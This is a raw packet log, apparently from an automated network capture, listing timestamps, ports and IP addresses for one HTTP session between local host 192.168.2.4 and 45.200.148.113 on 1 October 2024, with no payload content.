Oct 1, 2024 07:51:15.199691057 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.199696064 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.199702024 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.199723005 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.199733019 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.199733973 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.199743986 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.199754000 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.199755907 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.199769974 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.199790001 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.200510979 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.200521946 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.200545073 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.200556993 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.200567961 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.200571060 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.200578928 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.200588942 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.200598955 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.200603008 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.200611115 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.200617075 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.200620890 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.200630903 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.200633049 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.200659990 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.201452971 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.201463938 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.201473951 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.201484919 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.201495886 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.201504946 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.201504946 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.201512098 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.201515913 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.201525927 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.201538086 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.201540947 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.201548100 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.201571941 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.201586008 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.202348948 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.202359915 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.202370882 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.202380896 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.202392101 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.202404976 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.202414989 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.202425957 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.202430964 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.202440023 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.202447891 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.202450037 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.202461004 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.202472925 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.202500105 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.202999115 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.203010082 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.203020096 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.203031063 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.203046083 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.203067064 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.203124046 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.203135014 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.203145027 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.203160048 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.203161001 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.203171968 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.203182936 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.203186035 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.203192949 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.203203917 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.203210115 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.203213930 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.203224897 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.203228951 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.203253031 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.203272104 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.203995943 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.204008102 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.204018116 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.204030037 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.204041004 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.204051018 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.204051018 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.204063892 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.204083920 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.283473969 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.283519030 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.283534050 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.283561945 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.283593893 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.283632040 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.283644915 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.283670902 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.283703089 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.283762932 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.283776999 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.283816099 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.283934116 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.283946991 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.283966064 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.283977032 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.283979893 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.283998013 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.284024954 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.284176111 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.284220934 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.284239054 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.284250975 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.284261942 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.284272909 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.284276962 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.284302950 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.284324884 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.284626007 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.284636974 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.284647942 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.284657955 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.284667969 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.284672022 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.284678936 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.284694910 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.284704924 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.284707069 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.284715891 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.284734964 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.284745932 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.285315990 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.285326958 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.285337925 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.285348892 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.285358906 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.285365105 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.285371065 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.285383940 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.285393953 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.285393953 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.285404921 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.285418034 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.285438061 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.286086082 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.286098003 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.286109924 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.286120892 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.286137104 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.286139011 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.286149979 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.286155939 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.286161900 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.286171913 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.286174059 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.286183119 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.286194086 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.286205053 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.286211014 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.286232948 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.286251068 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.286978960 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.286990881 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.287003040 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.287014008 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.287024021 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.287029028 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.287034035 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.287045956 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.287055969 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.287060976 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.287067890 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.287079096 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.287080050 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.287090063 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.287101030 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.287122965 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.287900925 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.287913084 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.287923098 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.287935019 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.287946939 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.287952900 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.287956953 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.287972927 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.287976027 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.287985086 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.287996054 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.287996054 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.288008928 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.288018942 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.288022995 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.288031101 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.288055897 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.288074970 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.288835049 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.288846970 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.288857937 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.288868904 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.288880110 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.288887024 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.288892031 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.288902998 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.288914919 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.288919926 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.288925886 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.288938046 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.288948059 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.288954020 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.288954020 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.288984060 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.289724112 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.289736986 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.289747953 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.289760113 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.289772987 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.289782047 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.289783955 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.289797068 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.289799929 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.289812088 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.289822102 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.289832115 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.289841890 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.289853096 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.289861917 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.289891958 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.290663958 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.290677071 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.290687084 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.290699005 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.290709019 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.290719032 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.290719032 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.290730953 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.290740967 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.290743113 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.290754080 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.290761948 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.290764093 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.290775061 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.290786028 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.290807009 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.291336060 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.291347980 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.291357994 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.291368961 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.291379929 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.291400909 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.291402102 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.291412115 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.291414022 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.291425943 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.291434050 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.291436911 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.291450024 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.291471958 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.291496992 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.372246981 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.372307062 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.372318983 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.372370958 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.372452021 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.372454882 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.372466087 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.372477055 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.372488022 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.372556925 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.372692108 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.372703075 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.372714996 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.372725010 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.372769117 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.372929096 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.372939110 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.372951031 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.372961998 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.372971058 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.372972965 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.372997046 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.373017073 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.373162985 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.373202085 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.373285055 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.373296022 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.373306036 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.373317957 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.373326063 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.373327971 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.373337984 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.373349905 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.373357058 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.373359919 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.373370886 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.373375893 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.373404980 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.373904943 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.373915911 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.373925924 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.373936892 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.373946905 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.373951912 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.373956919 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.373967886 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.373969078 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.373977900 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.373987913 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.373990059 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.373999119 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.374010086 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.374011040 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.374020100 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.374030113 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.374031067 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.374042034 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.374052048 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.374054909 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.374073982 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.374092102 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.374785900 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.374795914 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.374806881 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.374816895 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.374828100 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.374831915 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.374838114 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.374847889 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.374859095 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.374859095 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.374870062 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.374880075 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.374881983 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:15.374890089 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.374900103 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:15.374903917 CEST	49732	80	192.168.2.4	45.200.148.113
